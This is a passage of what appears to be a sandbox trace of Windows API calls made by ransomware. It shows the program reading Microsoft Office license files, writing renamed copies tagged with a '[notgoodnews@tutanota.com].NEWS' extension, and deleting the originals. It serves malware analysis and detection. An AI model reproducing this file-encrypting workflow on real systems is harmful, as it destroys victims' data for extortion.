(lpString=".1cd") returned 4 [0180.669] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.669] lstrlenW (lpString=".jpg") returned 4 [0180.669] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.670] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.670] lstrlenW (lpString="ExcelVL_MAK-pl.xrm-ms") returned 21 [0180.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0180.819] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10619) returned 1 [0180.819] CloseHandle (hObject=0x3ec) returned 1 [0180.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0181.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0181.239] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.240] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0181.241] GetLastError () returned 0x0 [0181.241] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x297b, lpOverlapped=0x0) returned 1 [0181.348] WriteFile (in: hFile=0x370, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2980, lpOverlapped=0x0) returned 1 [0181.349] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.349] WriteFile (in: hFile=0x370, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xfe, lpOverlapped=0x0) returned 1 [0181.349] SetEndOfFile (hFile=0x370) returned 1 [0181.349] CloseHandle (hObject=0x370) returned 1 [0181.349] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.349] SetEndOfFile (hFile=0x518) returned 1 [0181.359] CloseHandle (hObject=0x518) returned 1 [0181.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0181.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.371] lstrlenW (lpString=".doc") returned 4 [0181.371] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.371] lstrlenW (lpString=".docx") returned 5 [0181.371] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.371] lstrlenW (lpString=".pdf") returned 4 [0181.371] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.371] lstrlenW (lpString=".xls") returned 4 [0181.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.371] lstrlenW (lpString=".xlsx") returned 5 [0181.371] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.371] lstrlenW (lpString=".ppt") returned 4 [0181.371] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.371] lstrlenW (lpString=".zip") returned 4 [0181.371] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.371] lstrlenW (lpString=".rar") returned 4 [0181.371] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.371] lstrlenW (lpString=".bz2") returned 4 [0181.371] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.371] lstrlenW (lpString=".7z") returned 3 [0181.371] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.371] lstrlenW (lpString=".dbf") returned 4 [0181.371] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.372] lstrlenW (lpString=".1cd") returned 4 [0181.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.372] lstrlenW (lpString=".jpg") returned 4 [0181.372] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.372] lstrlenW (lpString=".doc") returned 4 [0181.372] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString=".docx") returned 5 [0181.372] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.372] lstrlenW (lpString=".pdf") returned 4 [0181.372] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString=".xls") returned 4 [0181.372] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString=".xlsx") returned 5 [0181.372] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.372] lstrlenW (lpString=".ppt") returned 4 [0181.372] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.372] lstrlenW (lpString=".zip") returned 4 [0181.372] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString=".rar") returned 4 [0181.372] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString=".bz2") returned 4 [0181.372] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.372] lstrlenW (lpString=".7z") returned 3 [0181.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.372] lstrlenW (lpString=".dbf") returned 4 [0181.373] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.373] lstrlenW (lpString=".1cd") returned 4 [0181.373] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0181.373] lstrlenW (lpString=".jpg") returned 4 [0181.373] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.373] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.373] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0181.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.376] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11674) returned 1 [0181.377] CloseHandle (hObject=0x3f4) returned 1 [0181.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0181.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0182.324] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.325] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0182.326] GetLastError () returned 0x0 [0182.326] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0182.355] WriteFile (in: hFile=0x478, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0182.357] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.357] WriteFile (in: hFile=0x478, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x130, lpOverlapped=0x0) returned 1 [0182.357] SetEndOfFile (hFile=0x478) returned 1 [0182.357] CloseHandle (hObject=0x478) returned 1 [0182.357] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.358] SetEndOfFile (hFile=0x3f4) returned 1 [0182.374] CloseHandle (hObject=0x3f4) returned 1 [0182.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0182.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.376] lstrlenW (lpString=".doc") returned 4 [0182.376] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.376] lstrlenW (lpString=".docx") returned 5 [0182.376] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.376] lstrlenW (lpString=".pdf") returned 4 [0182.377] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString=".xls") returned 4 [0182.377] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString=".xlsx") returned 5 [0182.377] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.377] lstrlenW (lpString=".ppt") returned 4 [0182.377] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.377] lstrlenW (lpString=".zip") returned 4 [0182.377] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString=".rar") returned 4 [0182.377] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString=".bz2") returned 4 [0182.377] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString=".7z") returned 3 [0182.377] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.377] lstrlenW (lpString=".dbf") returned 4 [0182.377] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.377] lstrlenW (lpString=".1cd") returned 4 [0182.377] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.377] lstrlenW (lpString=".jpg") returned 4 [0182.377] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.378] lstrlenW (lpString=".doc") returned 4 [0182.378] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString=".docx") returned 5 [0182.378] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.378] lstrlenW (lpString=".pdf") returned 4 [0182.378] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString=".xls") returned 4 [0182.378] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString=".xlsx") returned 5 [0182.378] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.378] lstrlenW (lpString=".ppt") returned 4 [0182.378] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.378] lstrlenW (lpString=".zip") returned 4 [0182.378] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString=".rar") returned 4 [0182.378] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString=".bz2") returned 4 [0182.378] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString=".7z") returned 3 [0182.378] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.378] lstrlenW (lpString=".dbf") returned 4 [0182.378] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.379] lstrlenW (lpString=".1cd") returned 4 [0182.379] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0182.379] lstrlenW (lpString=".jpg") returned 4 [0182.379] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.379] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0182.379] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 33 [0182.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0182.380] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=22093) returned 1 [0182.380] CloseHandle (hObject=0x3f4) returned 1 [0182.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0182.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0182.382] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.383] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.384] GetLastError () returned 0x0 [0182.384] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x564d, lpOverlapped=0x0) returned 1 [0182.391] WriteFile (in: hFile=0x558, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x5650, lpOverlapped=0x0) returned 1 [0182.394] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.394] WriteFile (in: hFile=0x558, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x116, lpOverlapped=0x0) returned 1 [0182.394] SetEndOfFile (hFile=0x558) returned 1 [0182.394] CloseHandle (hObject=0x558) returned 1 [0182.394] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.394] SetEndOfFile (hFile=0x3f4) returned 1 [0182.800] CloseHandle (hObject=0x3f4) returned 1 [0182.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.563] lstrlenW (lpString=".doc") returned 4 [0183.563] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString=".docx") returned 5 [0183.563] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.563] lstrlenW (lpString=".pdf") returned 4 [0183.563] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString=".xls") returned 4 [0183.563] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString=".xlsx") returned 5 [0183.563] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.563] lstrlenW (lpString=".ppt") returned 4 [0183.563] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.563] lstrlenW (lpString=".zip") returned 4 [0183.563] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString=".rar") returned 4 [0183.563] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString=".bz2") returned 4 [0183.563] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString=".7z") returned 3 [0183.563] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.563] lstrlenW (lpString=".dbf") returned 4 [0183.563] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.563] lstrlenW (lpString=".1cd") returned 4 [0183.563] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.563] lstrlenW (lpString=".jpg") returned 4 [0183.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.564] lstrlenW (lpString=".doc") returned 4 [0183.564] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString=".docx") returned 5 [0183.564] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.564] lstrlenW (lpString=".pdf") returned 4 [0183.564] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString=".xls") returned 4 [0183.564] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString=".xlsx") returned 5 [0183.564] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.564] lstrlenW (lpString=".ppt") returned 4 [0183.564] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString="C:\\Program Files\\Microsoft 